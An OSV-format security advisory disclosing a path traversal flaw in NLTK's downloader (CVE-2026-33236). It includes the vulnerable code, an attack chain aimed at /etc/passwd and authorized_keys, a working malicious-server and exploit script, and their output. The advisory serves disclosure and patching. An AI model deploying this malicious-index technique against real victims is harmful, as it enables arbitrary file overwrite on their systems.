1 line
7.9 KiB
JSON
1 line
7.9 KiB
JSON
{"schema_version":"1.9.2","id":"GHSA-469j-vmhf-r6v7","published":"2026-03-19T12:42:42Z","modified":"2026-11-04T03:30:49.216144352Z","aliases":["CVE-2026-33236","PYSEC-2026-2237"],"summary":"NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite","details":"## Vulnerability Description\n\nThe NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to:\n\n1. **Arbitrary Directory Creation**: Create directories at arbitrary locations in the file system\n2. **Arbitrary File Creation**: Create arbitrary files\n3. **Arbitrary File Overwrite**: Overwrite critical system files (such as `/etc/passwd`, `~/.ssh/authorized_keys`, etc.)\n\n## Vulnerability Principle\n\n### Key Code Locations\n\n**1. XML Parsing Without Validation** (`nltk/downloader.py:253`)\n```python\nself.filename = os.path.join(subdir, id + ext)\n```\n- `subdir` and `id` are directly from XML attributes without any validation\n\n**2. Path Construction Without Checks** (`nltk/downloader.py:679`)\n```python\nfilepath = os.path.join(download_dir, info.filename)\n```\n- Directly uses `filename` which may contain path traversal\n\n**3. Unrestricted Directory Creation** (`nltk/downloader.py:687`)\n```python\nos.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)\n```\n- Can create arbitrary directories outside the download directory\n\n**4. File Writing Without Protection** (`nltk/downloader.py:695`)\n```python\nwith open(filepath, \"wb\") as outfile:\n```\n- Can write to arbitrary locations in the file system\n\n### Attack Chain\n\n```\n1. Attacker controls remote XML index server\n ↓\n2. Provides malicious XML: <package id=\"passwd\" subdir=\"../../etc\" .../>\n ↓\n3. Victim executes: downloader.download('passwd')\n ↓\n4. Package.fromxml() creates object, filename = \"../../etc/passwd.zip\"\n ↓\n5. _download_package() constructs path: download_dir + \"../../etc/passwd.zip\"\n ↓\n6. os.makedirs() creates directory: download_dir + \"../../etc\"\n ↓\n7. open(filepath, \"wb\") writes file to /etc/passwd.zip\n ↓\n8. System file is overwritten!\n```\n\n## Impact Scope\n1. **System File Overwrite**\n\n## Reproduction Steps\n\n### Environment Setup\n\n1. Install NLTK\n```bash\npip install nltk\n```\n\n2. Prepare malicious server and exploit script (see PoC section)\n\n### Reproduction Process\n\n**Step 1: Start malicious server**\n```bash\npython3 malicious_server.py\n```\n\n**Step 2: Run exploit script**\n```bash\npython3 exploit_vulnerability.py\n```\n\n**Step 3: Verify results**\n```bash\nls -la /tmp/test_file.zip\n```\n\n## Proof of Concept\n\n### Malicious Server (malicious_server.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP Server - Provides XML index with path traversal\"\"\"\nimport os\nimport tempfile\nimport zipfile\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\n# Create temporary directory\nserver_dir = tempfile.mkdtemp(prefix=\"nltk_malicious_\")\n\n# Create malicious XML (contains path traversal)\nmalicious_xml = \"\"\"<?xml version=\"1.0\"?>\n<nltk_data>\n <packages>\n <package id=\"test_file\" subdir=\"../../../../../../../../../tmp\" \n url=\"http://127.0.0.1:8888/test.zip\" \n size=\"100\" unzipped_size=\"100\" unzip=\"0\"/>\n </packages>\n</nltk_data>\n\"\"\"\n\n# Save files\nwith open(os.path.join(server_dir, \"malicious_index.xml\"), \"w\") as f:\n f.write(malicious_xml)\n\nwith zipfile.ZipFile(os.path.join(server_dir, \"test.zip\"), \"w\") as zf:\n zf.writestr(\"test.txt\", \"Path traversal attack!\")\n\n# HTTP Handler\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n if self.path == '/malicious_index.xml':\n self.send_response(200)\n self.send_header('Content-type', 'application/xml')\n self.end_headers()\n with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:\n self.wfile.write(f.read())\n elif self.path == '/test.zip':\n self.send_response(200)\n self.send_header('Content-type', 'application/zip')\n self.end_headers()\n with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:\n self.wfile.write(f.read())\n else:\n self.send_response(404)\n self.end_headers()\n \n def log_message(self, format, *args):\n pass\n\n# Start server\nif __name__ == \"__main__\":\n port = 8888\n server = HTTPServer((\"0.0.0.0\", port), Handler)\n print(f\"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml\")\n print(\"Press Ctrl+C to stop\")\n try:\n server.serve_forever()\n except KeyboardInterrupt:\n print(\"\\nServer stopped\")\n```\n\n### Exploit Script (exploit_vulnerability.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"AFO Vulnerability Exploit Script\"\"\"\nimport os\nimport tempfile\n\ndef exploit(server_url=\"http://127.0.0.1:8888/malicious_index.xml\"):\n download_dir = tempfile.mkdtemp(prefix=\"nltk_exploit_\")\n print(f\"Download directory: {download_dir}\")\n \n # Exploit vulnerability\n from nltk.downloader import Downloader\n downloader = Downloader(server_index_url=server_url, download_dir=download_dir)\n downloader.download(\"test_file\", quiet=True)\n \n # Check results\n expected_path = \"/tmp/test_file.zip\"\n if os.path.exists(expected_path):\n print(f\"\\n✗ Exploit successful! File written to: {expected_path}\")\n print(f\"✗ Path traversal attack successful!\")\n else:\n print(f\"\\n? File not found, download may have failed\")\n\nif __name__ == \"__main__\":\n exploit()\n```\n\n### Execution Results\n\n```\n✗ Exploit successful! File written to: /tmp/test_file.zip\n✗ Path traversal attack successful!\n```","affected":[{"package":{"name":"nltk","ecosystem":"PyPI","purl":"pkg:pypi/nltk"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.4"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9b1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-469j-vmhf-r6v7/GHSA-469j-vmhf-r6v7.json"}}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-469j-vmhf-r6v7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33236"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:10184"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19712"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:37275"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:42644"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-33236"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2449824"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-2237.yaml"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33236.json"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-03-19T12:42:42Z","nvd_published_at":"2026-03-20T23:16:47Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"}]} |